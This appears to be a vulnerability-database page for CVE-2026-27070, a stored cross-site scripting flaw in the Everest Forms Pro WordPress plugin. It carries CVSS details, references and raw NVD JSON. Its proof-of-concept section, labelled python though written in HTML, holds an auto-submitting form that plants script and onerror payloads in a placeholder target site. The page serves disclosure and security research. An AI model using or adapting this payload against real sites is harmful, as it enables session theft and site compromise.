CVE-2026-27070

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPEverest Everest Forms Pro allows Stored XSS.This issue affects Everest Forms Pro: from n/a through 1.9.10.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Everest Forms Pro <= 1.9.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-27070 PoC - Stored XSS in Everest Forms Pro -->
<html>
<body>
<h2>CVE-2026-27070 Stored XSS PoC</h2>
<form id="xssForm" action="https://target-site/wp-json/everest-forms/v1/submit" method="POST">
    <input type="hidden" name="form_id" value="1">
    <input type="hidden" name="everest-forms[form_fields][0][label]" value="Test Field">
    <!-- XSS Payload in form field -->
    <input type="hidden" name="everest-forms[form_fields][0][value]" value="<script>alert(document.cookie)</script>">
    <!-- Alternative XSS payload using event handler -->
    <input type="hidden" name="everest-forms[form_fields][1][value]" value="<img src=x onerror=alert('XSS')>">
</form>
<script>
    // Auto-submit the form
    document.getElementById('xssForm').submit();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27070
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27070
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27070/
[4] VulDB https://vuldb.com/cve/CVE-2026-27070
[5] https://patchstack.com/database/wordpress/plugin/everest-forms-pro/vulnerability/wordpress-everest-forms-pro-plugin-1-9-10-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27070", "sourceIdentifier": "[email protected]", "published": "2026-03-19T09:16:18.340", "lastModified": "2026-04-28T19:37:12.687", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPEverest Everest Forms Pro allows Stored XSS.This issue affects Everest Forms Pro: from n/a through 1.9.10."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en WPEverest Everest Forms Pro permite XSS Almacenado. Este problema afecta a Everest Forms Pro: desde n/d hasta 1.9.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/everest-forms-pro/vulnerability/wordpress-everest-forms-pro-plugin-1-9-10-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}